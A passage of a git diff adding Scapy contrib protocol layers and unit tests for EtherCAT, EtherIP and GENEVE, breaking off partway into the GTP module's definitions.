cur_val_bit_idx + + cur_val_bit_idx += octet_bits_left + field_required_bits -= octet_bits_left + octet_bits_left = 0 + + return s[bf_total_byte_length:], this_val + + +class LEBitFieldLenField(LEBitField): + __slots__ = ["length_of", "count_of", "adjust"] + + def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt, x: x): # noqa: E501 + LEBitField.__init__(self, name, default, size) + self.length_of = length_of + self.count_of = count_of + self.adjust = adjust + + def i2m(self, pkt, x): + return (FieldLenField.i2m.__func__ if six.PY2 else FieldLenField.i2m)(self, pkt, x) # noqa: E501 + + +class LEBitEnumField(LEBitField, _EnumField): + __slots__ = EnumField.__slots__ + + def __init__(self, name, default, size, enum): + _EnumField.__init__(self, name, default, enum) + self.rev = size < 0 + self.size = abs(size) + + +################################################ +# DLPDU structure definitions (read/write PDUs) +################################################ + +ETHERCAT_TYPE_12_CIRCULATING_FRAME = { + 0x00: 'FRAME-NOT-CIRCULATING', + 0x01: 'FRAME-CIRCULATED-ONCE' +} + +ETHERCAT_TYPE_12_NEXT_FRAME = { + 0x00: 'LAST-TYPE12-PDU', + 0x01: 'TYPE12-PDU-FOLLOWS' +} + + +class EtherCatType12DLPDU(Packet): + """ + Type12 message base class + """ + def post_build(self, pkt, pay): + """ + + set next attr automatically if not set explicitly by user + + :param pkt: raw string containing the current layer + :param pay: raw string containing the payload + :return: + payload + """ + + data_len = len(self.data) + if data_len > 2047: + raise ValueError('payload size {} exceeds maximum length {} ' + 'of data size.'.format(data_len, 2047)) + + if self.next is not None: + has_next = True if self.next else False + else: + if pay: + has_next = True + else: + has_next = False + + if has_next: + next_flag = bytearray([pkt[7] | 0b10000000]) + else: + next_flag = bytearray([pkt[7] & 0b01111111]) + + return pkt[:7] + next_flag + pkt[8:] + pay + + def guess_payload_class(self, payload): + + try: + dlpdu_type = payload[0] + return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type] + + except KeyError: + log_runtime.error( + '{}.guess_payload_class() - unknown or invalid ' + 'DLPDU type'.format(self.__class__.__name__)) + return Packet.guess_payload_class(self, payload) + + # structure templates lacking leading cmd-attribute + PHYSICAL_ADDRESSING_DESC = [ + ByteField('idx', 0), + LEShortField('adp', 0), + LEShortField('ado', 0), + LEBitFieldLenField('len', None, 11, count_of='data'), + LEBitField('_reserved', 0, 3), + LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME), + LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME), + LEShortField('irq', 0), + FieldListField('data', [], ByteField('', 0x00), + count_from=lambda pkt: pkt.len), + LEShortField('wkc', 0) + ] + + BROADCAST_ADDRESSING_DESC = PHYSICAL_ADDRESSING_DESC + + LOGICAL_ADDRESSING_DESC = [ + ByteField('idx', 0), + LEIntField('adr', 0), + LEBitFieldLenField('len', None, 11, count_of='data'), + LEBitField('_reserved', 0, 3), + LEBitEnumField('c', 0, 1, ETHERCAT_TYPE_12_CIRCULATING_FRAME), + LEBitEnumField('next', None, 1, ETHERCAT_TYPE_12_NEXT_FRAME), + LEShortField('irq', 0), + FieldListField('data', [], ByteField('', 0x00), + count_from=lambda pkt: pkt.len), + LEShortField('wkc', 0) + ] + + +################ +# read messages +################ + +class EtherCatAPRD(EtherCatType12DLPDU): + """ + APRD - Auto Increment Physical Read + (IEC 61158-5-12, sec. 5.4.1.2 tab. 14 / p. 32) + """ + + fields_desc = [ByteField('_cmd', 0x01)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatFPRD(EtherCatType12DLPDU): + """ + FPRD - Configured address physical read + (IEC 61158-5-12, sec. 5.4.1.3 tab. 15 / p. 33) + """ + + fields_desc = [ByteField('_cmd', 0x04)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatBRD(EtherCatType12DLPDU): + """ + BRD - Broadcast read + (IEC 61158-5-12, sec. 5.4.1.4 tab. 16 / p. 34) + """ + + fields_desc = [ByteField('_cmd', 0x07)] + \ + EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC + + +class EtherCatLRD(EtherCatType12DLPDU): + """ + LRD - Logical read + (IEC 61158-5-12, sec. 5.4.1.5 tab. 17 / p. 36) + """ + + fields_desc = [ByteField('_cmd', 0x0a)] + \ + EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC + + +################# +# write messages +################# + + +class EtherCatAPWR(EtherCatType12DLPDU): + """ + APWR - Auto Increment Physical Write + (IEC 61158-5-12, sec. 5.4.2.2 tab. 18 / p. 37) + """ + + fields_desc = [ByteField('_cmd', 0x02)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatFPWR(EtherCatType12DLPDU): + """ + FPWR - Configured address physical write + (IEC 61158-5-12, sec. 5.4.2.3 tab. 19 / p. 38) + """ + + fields_desc = [ByteField('_cmd', 0x05)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatBWR(EtherCatType12DLPDU): + """ + BWR - Broadcast read (IEC 61158-5-12, sec. 5.4.2.4 tab. 20 / p. 39) + """ + + fields_desc = [ByteField('_cmd', 0x08)] + \ + EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC + + +class EtherCatLWR(EtherCatType12DLPDU): + """ + LWR - Logical write + (IEC 61158-5-12, sec. 5.4.2.5 tab. 21 / p. 40) + """ + + fields_desc = [ByteField('_cmd', 0x0b)] + \ + EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC + + +###################### +# read/write messages +###################### + + +class EtherCatAPRW(EtherCatType12DLPDU): + """ + APRW - Auto Increment Physical Read Write + (IEC 61158-5-12, sec. 5.4.3.1 tab. 22 / p. 41) + """ + + fields_desc = [ByteField('_cmd', 0x03)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatFPRW(EtherCatType12DLPDU): + """ + FPRW - Configured address physical read write + (IEC 61158-5-12, sec. 5.4.3.2 tab. 23 / p. 43) + """ + + fields_desc = [ByteField('_cmd', 0x06)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatBRW(EtherCatType12DLPDU): + """ + BRW - Broadcast read write + (IEC 61158-5-12, sec. 5.4.3.3 tab. 24 / p. 39) + """ + + fields_desc = [ByteField('_cmd', 0x09)] + \ + EtherCatType12DLPDU.BROADCAST_ADDRESSING_DESC + + +class EtherCatLRW(EtherCatType12DLPDU): + """ + LRW - Logical read write + (IEC 61158-5-12, sec. 5.4.3.4 tab. 25 / p. 45) + """ + + fields_desc = [ByteField('_cmd', 0x0c)] + \ + EtherCatType12DLPDU.LOGICAL_ADDRESSING_DESC + + +class EtherCatARMW(EtherCatType12DLPDU): + """ + ARMW - Auto increment physical read multiple write + (IEC 61158-5-12, sec. 5.4.3.5 tab. 26 / p. 46) + """ + + fields_desc = [ByteField('_cmd', 0x0d)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCatFRMW(EtherCatType12DLPDU): + """ + FRMW - Configured address physical read multiple write + (IEC 61158-5-12, sec. 5.4.3.6 tab. 27 / p. 47) + """ + + fields_desc = [ByteField('_cmd', 0x0e)] + \ + EtherCatType12DLPDU.PHYSICAL_ADDRESSING_DESC + + +class EtherCat(Packet): + """ + Common EtherCat header layer + """ + ETHER_HEADER_LEN = 14 + ETHER_FSC_LEN = 4 + ETHER_FRAME_MIN_LEN = 64 + ETHERCAT_HEADER_LEN = 2 + + FRAME_TYPES = { + 0x01: 'TYPE-12-PDU', + 0x04: 'NETWORK-VARIABLES', + 0x05: 'MAILBOX' + } + + fields_desc = [ + LEBitField('length', 0, 11), + LEBitField('_reserved', 0, 1), + LEBitField('type', 0, 4), + ] + + ETHERCAT_TYPE12_DLPDU_TYPES = { + 0x01: EtherCatAPRD, + 0x04: EtherCatFPRD, + 0x07: EtherCatBRD, + 0x0a: EtherCatLRD, + 0x02: EtherCatAPWR, + 0x05: EtherCatFPWR, + 0x08: EtherCatBWR, + 0x0b: EtherCatLWR, + 0x03: EtherCatAPRW, + 0x06: EtherCatFPRW, + 0x09: EtherCatBRW, + 0x0c: EtherCatLRW, + 0x0d: EtherCatARMW, + 0x0e: EtherCatFRMW + } + + def post_build(self, pkt, pay): + """ + need to set the length of the whole PDU manually + to avoid any bit fiddling use a dummy class to build the layer content + + also add padding if frame is < 64 bytes + + Note: padding only handles Ether/n*Dot1Q/EtherCat + (no special mumbo jumbo) + + :param pkt: raw string containing the current layer + :param pay: raw string containing the payload + :return: + payload + """ + + class _EtherCatLengthCalc(Packet): + """ + dummy class used to generate str representation easily + """ + fields_desc = [ + LEBitField('length', None, 11), + LEBitField('_reserved', 0, 1), + LEBitField('type', 0, 4), + ] + + payload_len = len(pay) + + # length field is 11 bit + if payload_len > 2047: + raise ValueError('payload size {} exceeds maximum length {} ' + 'of EtherCat message.'.format(payload_len, 2047)) + + self.length = payload_len + + vlan_headers_total_size = 0 + upper_layer = self.underlayer + + # add size occupied by VLAN tags + while upper_layer and isinstance(upper_layer, Dot1Q): + vlan_headers_total_size += 4 + upper_layer = upper_layer.underlayer + + if not isinstance(upper_layer, Ether): + raise Exception('missing Ether layer') + + pad_len = EtherCat.ETHER_FRAME_MIN_LEN - (EtherCat.ETHER_HEADER_LEN + + vlan_headers_total_size + + EtherCat.ETHERCAT_HEADER_LEN + # noqa: E501 + payload_len + + EtherCat.ETHER_FSC_LEN) + + if pad_len > 0: + pad = Padding() + pad.load = b'\x00' * pad_len + + return raw(_EtherCatLengthCalc(length=self.length, + type=self.type)) + pay + raw(pad) + return raw(_EtherCatLengthCalc(length=self.length, + type=self.type)) + pay + + def guess_payload_class(self, payload): + try: + dlpdu_type = payload[0] + return EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[dlpdu_type] + except KeyError: + log_runtime.error( + '{}.guess_payload_class() - unknown or invalid ' + 'DLPDU type'.format(self.__class__.__name__)) + return Packet.guess_payload_class(self, payload) + + +bind_layers(Ether, EtherCat, type=0x88a4) +bind_layers(Dot1Q, EtherCat, type=0x88a4) + +# bindings for DLPDUs + +bind_layers(EtherCat, EtherCatAPRD, type=0x01) +bind_layers(EtherCat, EtherCatFPRD, type=0x01) +bind_layers(EtherCat, EtherCatBRD, type=0x01) +bind_layers(EtherCat, EtherCatLRD, type=0x01) +bind_layers(EtherCat, EtherCatAPWR, type=0x01) +bind_layers(EtherCat, EtherCatFPWR, type=0x01) +bind_layers(EtherCat, EtherCatBWR, type=0x01) +bind_layers(EtherCat, EtherCatLWR, type=0x01) +bind_layers(EtherCat, EtherCatAPRW, type=0x01) +bind_layers(EtherCat, EtherCatFPRW, type=0x01) +bind_layers(EtherCat, EtherCatBRW, type=0x01) +bind_layers(EtherCat, EtherCatLRW, type=0x01) +bind_layers(EtherCat, EtherCatARMW, type=0x01) +bind_layers(EtherCat, EtherCatFRMW, type=0x01) diff --git a/libs/scapy/contrib/ethercat.uts b/libs/scapy/contrib/ethercat.uts new file mode 100755 index 0000000..1e0e3fa --- /dev/null +++ b/libs/scapy/contrib/ethercat.uts @@ -0,0 +1,266 @@ +% EtherCat test campaign + +# +# execute test: +# $ test/run_tests -P "load_contrib('ethercat')" -t scapy/contrib/ethercat.uts +# + ++ LEBitFields += regression test + +TEST_SAMPLE_ENUM = { + 0x01: 'one', + 0x02: 'two', + 0x03: 'three', + 0x04: 'four', + 0x05: 'five', + 0x06: 'six', + 0x07: 'seven' +} + +class BitFieldUserExampleLE(Packet): + + fields_desc = [ + LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), + LEBitField('b', 0, 18), + LEBitField('c', 0, 5), + LEBitField('d', 0, 23), + ] + +class BitFieldUserExample(Packet): + + fields_desc = [ + BitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), + BitField('b', 0, 18), + BitField('c', 0, 5), + BitField('d', 0, 23), + ] + +test_data = [ + { + 'a':0x01, + 'b':0x00, + 'c':0x00, + 'd':0x123456 + }, + { + 'a': 0x00, + 'b': 0b111111111111111111, + 'c': 0x00, + 'd': 0x112233 + }, + { + 'a': 0x00, + 'b': 0x00, + 'c': 0x01, + 'd': 0x00 + }, +] + +for data in test_data: + bf_le = BitFieldUserExampleLE(**data) + bf = BitFieldUserExample(**data) + # rebuild big-endian and little-endian bitfields from its own binary expressions + bf_le = BitFieldUserExampleLE(bf_le.do_build()) + bf = BitFieldUserExample(bf.do_build()) + ''' disabled as only required for 'visual debugging' + from scapy.compat import raw + # dump content for debugging + bitstr = '' + hexstr = '' + for i in bytearray(raw(bf)): + bitstr += '{:08b} '.format(i) + hexstr += '{:02x} '.format(i) + print('BE - BITS: {} HEX: {} ({})'.format(bitstr, hexstr, data)) + bitstr = '' + hexstr = '' + for i in bytearray(raw(bf_le)): + bitstr += '{:08b} '.format(i) + hexstr += '{:02x} '.format(i) + print('LE - BITS: {} HEX: {} ({})'.format(bitstr, hexstr, data)) + ''' + # compare values + for key in data: + assert(getattr(bf,key) == data[key]) + assert (getattr(bf_le, key) == data[key]) + += Avoid mix of LEBitFields and BitFields + +TEST_SAMPLE_ENUM = { + 0x01: 'one', + 0x02: 'two', + 0x03: 'three', + 0x04: 'four', + 0x05: 'five', + 0x06: 'six', + 0x07: 'seven' +} + +class MissingFieldSameLEFieldTypes(Packet): + + fields_desc = [ + LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), + LEBitField('b', 0, 18), + ] + +try: + frm = MissingFieldSameLEFieldTypes().build() + assert False +except LEBitFieldSequenceException: + pass + + +class MissingFieldDifferentLEFieldTypes(Packet): + + fields_desc = [ + LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), + LEBitField('b', 0, 18), + ] + +try: + frm = MissingFieldDifferentLEFieldTypes().build() + assert False +except LEBitFieldSequenceException: + pass + + +class MixedBitFieldTypesLEBE(Packet): + + fields_desc = [ + LEBitField('a', 0, 12), + BitField('b', 0, 4), + ] + +try: + frm = MixedBitFieldTypesLEBE().build() + assert False +except LEBitFieldSequenceException: + pass + + +class MixedBitFieldTypesBELE(Packet): + + fields_desc = [ + BitField('b', 0, 4), + LEBitField('a', 0, 12), + ] + +try: + frm = MixedBitFieldTypesBELE().build() + assert False +except LEBitFieldSequenceException: + pass + +################################################ ++ EtherCat header layer handling += EtherCat and padding + +frm = Ether() / EtherCat() +# even with padding the length must be zero +# the Ether(do_build()) forces the calculation of all (post_build generated) fields +frm = Ether(frm.do_build()) +assert(frm[EtherCat].length == 0) +assert(len(frm) == 60) +frm = Ether()/Dot1Q()/Dot1Q()/EtherCat() +frm = Ether()/EtherCat() +assert(len(frm) == 60) +frm = Ether(frm.do_build()) +assert(frm[EtherCat].length == 0) + += EtherCat and RawPayload + +frm=Ether()/EtherCat()/Raw(b'0123456789') +assert(len(frm) == 60) +frm = Ether(frm.do_build()) +assert(frm[EtherCat].length == 10) +frm = Ether()/EtherCat()/Raw(b'012345678901234567890123456789012345678901234567890123456789') +frm = Ether(frm.do_build()) +assert(len(frm) == 76) +assert(frm[EtherCat].length == 60) + += EtherCat - test invalid length detection + +nums_11_bits = [random.randint(0, 65535) & 0b11111111111 for dummy in range(0, 23)] +nums_4_bits = [random.randint(0, 16) & 0b1111 for dummy in range(0, 23)] + +frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[1]*2035, c=1) +frm = Ether(frm.do_build()) +assert(frm[EtherCat].length == 2047) +assert(len(frm[EtherCatAPRD].data) == 2035) +assert(frm[EtherCatAPRD].c == 1) + +data_oversized = False +try: + frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2048, c=1) + frm = Ether(frm.do_build()) +except ValueError as err: + data_oversized = True + assert('data size' in str(err)) + +assert(data_oversized == True) +dlpdu_oversized = False +try: + frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2036, c=1) + frm = Ether(frm.do_build()) +except ValueError as err: + dlpdu_oversized = True + assert('EtherCat message' in str(err)) + +assert(dlpdu_oversized == True) + +frm = Ether()/EtherCat(_reserved=1)/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[3], c=0) +frm = Ether(frm.do_build()) +assert(frm[EtherCatAPRD].c == 0) + + +assert(frm[EtherCat]._reserved == 0) + += EtherCat and Type12 DLPDU layers + +for type_id in EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES: + data = [random.randint(0, 255) for dummy in range(random.randint(1, 10))] + frm = Ether() / EtherCat() / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id](data= data) + frm = Ether(frm.do_build()) + # expect to have one layer of current Type12 DLPDU type + dlpdu_lyr = frm[EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id]] + assert(dlpdu_lyr.data == data) + += EtherCat and Type12 DLPDU layer using structure used for physical and broadcast addressing + +# the code is the same for all layer sharing this structure - no need to test em all +test_data = [121,99,110,104,114,109,58,41] +frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=test_data) +frm = Ether(frm.do_build()) +aprd_lyr = frm[EtherCatAPRD] +assert(aprd_lyr.adp == 0x1234) +assert(aprd_lyr.ado == 0x5678) +assert(aprd_lyr.irq == 0xbad0) +assert(aprd_lyr.wkc == 0xbeef) +assert(aprd_lyr.data == test_data) + += EtherCat and Type12 DLPDU layer using structure used for logical addressing + +test_data = [116,104,101,116,97,111,105,115,103,114,101,97,116] +frm = Ether() / EtherCat() / EtherCatLRD(adr=0x11223344, irq=0xbad0, wkc=0xbeef, data=test_data) +frm = Ether(frm.do_build()) +aprd_lyr = frm[EtherCatLRD] +assert (aprd_lyr.adr == 0x11223344) +assert (aprd_lyr.irq == 0xbad0) +assert (aprd_lyr.wkc == 0xbeef) +assert (aprd_lyr.data == test_data) + += EtherCat and randomly stacked Type12 DLPDU layers + +for outer_dummy in range(10): + frm = Ether()/EtherCat() + layer_ids = [] + for inner_dummy in range(random.randint(1, 20)): + layer_id = random.choice(list(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES)) + layer_ids.append(layer_id) + frm = frm / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]() + # build frame and convert back + frm = Ether(frm.do_build()) + idx = 0 + for layer_id in layer_ids: + assert(type(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]()) == type(frm[2 + idx])) + idx += 1 diff --git a/libs/scapy/contrib/etherip.py b/libs/scapy/contrib/etherip.py new file mode 100755 index 0000000..12274a8 --- /dev/null +++ b/libs/scapy/contrib/etherip.py @@ -0,0 +1,31 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = EtherIP +# scapy.contrib.status = loads + +from scapy.fields import BitField +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import IP +from scapy.layers.l2 import Ether + + +class EtherIP(Packet): + name = "EtherIP / RFC 3378" + fields_desc = [BitField("version", 3, 4), + BitField("reserved", 0, 12)] + + +bind_layers(IP, EtherIP, frag=0, proto=0x61) +bind_layers(EtherIP, Ether) diff --git a/libs/scapy/contrib/etherip.uts b/libs/scapy/contrib/etherip.uts new file mode 100755 index 0000000..c9e56d3 --- /dev/null +++ b/libs/scapy/contrib/etherip.uts @@ -0,0 +1,7 @@ ++ EtherIP Contrib tests + += Basic EtherIP test + +pkt = Ether(b'\x99\xc1o\xd2\xf5c\x9d\xb7\xd0\xc2\xe0\xd3\x08\x00E\x00\x00@\x00\x01\x00\x00@a,\xf3B\x83\x17\xc6\xad\xc2E^0\x00\xd5/\xf26\xab\xe2\x9f\xb4tD\xa4\x98\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01W-\xe7\x98H\xfa\xad\xc2E^\x08\x00\xf7\xff\x00\x00\x00\x00') +assert ICMP in pkt +assert EtherIP in pkt diff --git a/libs/scapy/contrib/geneve.py b/libs/scapy/contrib/geneve.py new file mode 100755 index 0000000..29eabc9 --- /dev/null +++ b/libs/scapy/contrib/geneve.py @@ -0,0 +1,84 @@ +# Copyright (C) 2018 Hao Zheng + +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Generic Network Virtualization Encapsulation (GENEVE) +# scapy.contrib.status = loads + +""" +Geneve: Generic Network Virtualization Encapsulation + +draft-ietf-nvo3-geneve-06 +""" + +from scapy.fields import BitField, XByteField, XShortEnumField, X3BytesField, \ + XStrField +from scapy.packet import Packet, bind_layers +from scapy.layers.inet import IP, UDP +from scapy.layers.inet6 import IPv6 +from scapy.layers.l2 import Ether, ETHER_TYPES +from scapy.compat import chb, orb +from scapy.error import warning + + +class GENEVEOptionsField(XStrField): + islist = 1 + + def getfield(self, pkt, s): + opln = pkt.optionlen * 4 + if opln < 0: + warning("bad optionlen (%i). Assuming optionlen=0" % pkt.optionlen) + opln = 0 + return s[opln:], self.m2i(pkt, s[:opln]) + + +class GENEVE(Packet): + name = "GENEVE" + fields_desc = [BitField("version", 0, 2), + BitField("optionlen", None, 6), + BitField("oam", 0, 1), + BitField("critical", 0, 1), + BitField("reserved", 0, 6), + XShortEnumField("proto", 0x0000, ETHER_TYPES), + X3BytesField("vni", 0), + XByteField("reserved2", 0x00), + GENEVEOptionsField("options", "")] + + def post_build(self, p, pay): + p += pay + optionlen = self.optionlen + if optionlen is None: + optionlen = (len(self.options) + 3) // 4 + p = chb(optionlen & 0x2f | orb(p[0]) & 0xc0) + p[1:] + return p + + def answers(self, other): + if isinstance(other, GENEVE): + if ((self.proto == other.proto) and (self.vni == other.vni)): + return self.payload.answers(other.payload) + else: + return self.payload.answers(other) + return 0 + + def mysummary(self): + return self.sprintf("GENEVE (vni=%GENEVE.vni%," + "optionlen=%GENEVE.optionlen%," + "proto=%GENEVE.proto%)") + + +bind_layers(UDP, GENEVE, dport=6081) +bind_layers(GENEVE, Ether, proto=0x6558) +bind_layers(GENEVE, IP, proto=0x0800) +bind_layers(GENEVE, IPv6, proto=0x86dd) diff --git a/libs/scapy/contrib/geneve.uts b/libs/scapy/contrib/geneve.uts new file mode 100755 index 0000000..29ea48c --- /dev/null +++ b/libs/scapy/contrib/geneve.uts @@ -0,0 +1,63 @@ +# GENEVE unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('geneve')" -t scapy/contrib/geneve.uts + ++ GENEVE + += Build & dissect - GENEVE encapsulates Ether +if WINDOWS: + route_add_loopback() + +s = raw(IP()/UDP(sport=10000)/GENEVE()/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22')) +assert(s == b'E\x00\x002\x00\x01\x00\x00@\x11|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\'\x10\x17\xc1\x00\x1e\x9a\x1c\x00\x00eX\x00\x00\x00\x00\x00\x01\x00\x11\x11\x11\x00\x02\x00"""\x90\x00') + +p = IP(s) +assert(GENEVE in p and Ether in p[GENEVE].payload) + + += Build & dissect - GENEVE with options encapsulates Ether + +s = raw(IP()/UDP(sport=10000)/GENEVE(critical=1, options=b'\x00\x01\x81\x02\x0a\x0a\x0b\x0b')/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22')) +assert(s == b'E\x00\x00:\x00\x01\x00\x00@\x11|\xb0\x7f\x00\x00\x01\x7f\x00\x00\x01\'\x10\x17\xc1\x00&\x01\xb4\x02@eX\x00\x00\x00\x00\x00\x01\x81\x02\n\n\x0b\x0b\x00\x01\x00\x11\x11\x11\x00\x02\x00"""\x90\x00') + +p = IP(s) +assert(GENEVE in p and Ether in p[GENEVE].payload and p[GENEVE].critical == 1 and p[GENEVE].optionlen == 2) + + += Build & dissect - GENEVE encapsulates IPv4 + +s = raw(IP()/UDP(sport=10000)/GENEVE()/IP()) +assert(s == b"E\x00\x008\x00\x01\x00\x00@\x11|\xb2\x7f\x00\x00\x01\x7f\x00\x00\x01'\x10\x17\xc1\x00$\xba\xd2\x00\x00\x08\x00\x00\x00\x00\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01") + +p = IP(s) +assert(GENEVE in p and IP in p[GENEVE].payload) + + += Build & dissect - GENEVE encapsulates IPv6 +s = raw(IP()/UDP(sport=10000)/GENEVE()/IPv6()) +assert(s == b"E\x00\x00L\x00\x01\x00\x00@\x11|\x9e\x7f\x00\x00\x01\x7f\x00\x00\x01'\x10\x17\xc1\x008\xa0\x8a\x00\x00\x86\xdd\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01") + +p = IP(s) +assert(GENEVE in p and IPv6 in p[GENEVE].payload) + += GENEVE - Answers + +a = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x01\x00\x00@\x01\xfa$\xc0\xa8\x00w\xac\xd9\x12\xc3\x08\x00\xf7\xff\x00\x00\x00\x00' +b = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x00\x00\x007\x01\x03&\xac\xd9\x12\xc3\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +c = Raw("data") + +a = GENEVE(raw(a)) +b = GENEVE(raw(b)) + +assert b.answers(a) +assert not a.answers(b) +assert not b.answers(c) +assert not a.answers(c) + += GENEVE - Summary + +a = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x01\x00\x00@\x01\xfa$\xc0\xa8\x00w\xac\xd9\x12\xc3\x08\x00\xf7\xff\x00\x00\x00\x00' +a = GENEVE(raw(a)) +assert a.summary() == 'GENEVE / IP / ICMP 192.168.0.119 > 172.217.18.195 echo-request 0' +assert a.mysummary() in ['GENEVE (vni=0x0,optionlen=0,proto=0x800)', 'GENEVE (vni=0x0,optionlen=0,proto=IPv4)'] diff --git a/libs/scapy/contrib/gtp.py b/libs/scapy/contrib/gtp.py new file mode 100755 index 0000000..f1b6fbd --- /dev/null +++ b/libs/scapy/contrib/gtp.py @@ -0,0 +1,994 @@ +# Copyright (C) 2018 Leonardo Monteiro +# 2017 Alexis Sultan +# 2017 Alessio Deiana +# 2014 Guillaume Valadon +# 2012 ffranz +## +# This program is published under a GPLv2 license + +# scapy.contrib.description = GPRS Tunneling Protocol (GTP) +# scapy.contrib.status = loads + +from __future__ import absolute_import +import struct + + +from scapy.compat import chb, orb, bytes_encode +from scapy.error import warning +from scapy.fields import BitEnumField, BitField, ByteEnumField, ByteField, \ + ConditionalField, FieldLenField, FieldListField, FlagsField, IntField, \ + IPField, PacketListField, ShortField, StrFixedLenField, StrLenField, \ + XBitField, XByteField, XIntField +from scapy.layers.inet import IP, UDP +from scapy.layers.inet6 import IPv6, IP6Field +from scapy.layers.ppp import PPP +from scapy.modules.six.moves import range +from scapy.packet import bind_layers, bind_bottom_up, bind_top_down, \ + Packet, Raw +from scapy.volatile import RandInt, RandIP, RandNum, RandString + + +# GTP Data types + +RATType = { + 1: "UTRAN", + 2: "GETRAN", + 3: "WLAN", + 4: "GAN", + 5: "HSPA" +} + +GTPmessageType = {1: "echo_request", + 2: "echo_response", + 16: "create_pdp_context_req", + 17: "create_pdp_context_res", + 18: "update_pdp_context_req", + 19: "update_pdp_context_resp", + 20: "delete_pdp_context_req", + 21: "delete_pdp_context_res", + 26: "error_indication", + 27: "pdu_notification_req", + 31: "supported_extension_headers_notification", + 254: "end_marker", + 255: "g_pdu"} + +IEType = {1: "Cause", + 2: "IMSI", + 3: "RAI", + 4: "TLLI", + 5: "P_TMSI", + 8: "IE_ReorderingRequired", + 14: "Recovery", + 15: "SelectionMode", + 16: "TEIDI", + 17: "TEICP", + 19: "TeardownInd", + 20: "NSAPI", + 26: "ChargingChrt", + 27: "TraceReference", + 28: "TraceType", + 127: "ChargingId", + 128: "EndUserAddress", + 131: "AccessPointName", + 132: "ProtocolConfigurationOptions", + 133: "GSNAddress", + 134: "MSInternationalNumber", + 135: "QoS", + 148: "CommonFlags", + 149: "APNRestriction", + 151: "RatType", + 152: "UserLocationInformation", + 153: "MSTimeZone", + 154: "IMEI", + 181: "MSInfoChangeReportingAction", + 184: "BearerControlMode", + 191: "EvolvedAllocationRetentionPriority", + 255: "PrivateExtention"} + +CauseValues = {0: "Request IMSI", + 1: "Request IMEI", + 2: "Request IMSI and IMEI", + 3: "No identity needed", + 4: "MS Refuses", + 5: "MS is not GPRS Responding", + 128: "Request accepted", + 129: "New PDP type due to network preference", + 130: "New PDP type due to single address bearer only", + 192: "Non-existent", + 193: "Invalid message format", + 194: "IMSI not known", + 195: "MS is GPRS Detached", + 196: "MS is not GPRS Responding", + 197: "MS Refuses", + 198: 